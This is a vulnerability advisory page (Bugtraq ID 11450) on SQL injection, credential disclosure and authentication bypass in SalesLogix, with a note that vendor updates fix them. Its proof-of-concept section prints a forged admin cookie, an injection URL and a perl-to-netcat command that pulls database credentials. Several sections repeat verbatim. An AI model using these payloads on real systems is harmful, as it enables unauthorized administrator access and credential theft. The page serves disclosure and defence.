Best Software SalesLogix Multiple Remote Vulnerabilities
BID:11450
Info
Best Software SalesLogix Multiple Remote Vulnerabilities
| Bugtraq ID: | 11450 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 18 2004 12:00AM |
| Updated: | Oct 18 2004 12:00AM |
| Credit: | Disclosure of these issues is credited to "Carl" <[email protected]>. |
| Vulnerable: |
SalesLogix Corporation SalesLogix 2000.0 Best Software SalesLogix |
| Not Vulnerable: | |
Discussion
Best Software SalesLogix Multiple Remote Vulnerabilities
Best Software SalesLogix is affected by multiple vulnerabilities. These issues are due to design errors that reveal sensitive information, access control validation issues that allow unauthorized access and input validation issues facilitating SQL injection attacks.
An attacker may leverage these issues to manipulate and disclose database contents through SQL injection attacks, steal authentication credentials due to information disclosure vulnerabilities and bypass authentication to gain administrator access to the server.
Best Software SalesLogix is affected by multiple vulnerabilities. These issues are due to design errors that reveal sensitive information, access control validation issues that allow unauthorized access and input validation issues facilitating SQL injection attacks.
An attacker may leverage these issues to manipulate and disclose database contents through SQL injection attacks, steal authentication credentials due to information disclosure vulnerabilities and bypass authentication to gain administrator access to the server.
Exploit / POC
Best Software SalesLogix Multiple Remote Vulnerabilities
The following proof of concepts have been provided:
Admin authentication bypass cookie value:
slxweb=user=Admin|teams=ADMIN!|usertype=Administrator|
SQL Injection example:
http://www.example.com/scripts/slxweb.dll/view?name=coninfo&id=[SQL]
Revealing the database username and password:
perl -e 'print "\x0"x10 . "\x20" . "\x0"x3 .
"GetConnection\x0SALESLOGIX_SERVER\x0"' | netcat 1.2.3.4
1707
Finally the following script has been provided as a proof of concept for the file upload issue:
The following proof of concepts have been provided:
Admin authentication bypass cookie value:
slxweb=user=Admin|teams=ADMIN!|usertype=Administrator|
SQL Injection example:
http://www.example.com/scripts/slxweb.dll/view?name=coninfo&id=[SQL]
Revealing the database username and password:
perl -e 'print "\x0"x10 . "\x20" . "\x0"x3 .
"GetConnection\x0SALESLOGIX_SERVER\x0"' | netcat 1.2.3.4
1707
Finally the following script has been provided as a proof of concept for the file upload issue:
Solution / Fix
Best Software SalesLogix Multiple Remote Vulnerabilities
Solution:
Updates have been released that resolve these issues. These updates are reportedly available to registered customers through the vendor's support portal. Please see the referenced support page for more information.
Solution:
Updates have been released that resolve these issues. These updates are reportedly available to registered customers through the vendor's support portal. Please see the referenced support page for more information.
References
Best Software SalesLogix Multiple Remote Vulnerabilities
References:
References:
- SalesLogix Home Page (Best Software)
- SalesLogix Technical Support Portal Page (Best Software)
- Vendor Home Page (Best Software)
- Multiple vulnerabilities in Sage Saleslogix ("Carl"